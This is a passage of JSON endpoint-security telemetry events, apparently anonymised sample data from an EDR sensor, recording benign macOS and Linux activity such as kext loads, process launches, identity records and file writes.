c4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
-{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
-{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
-{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
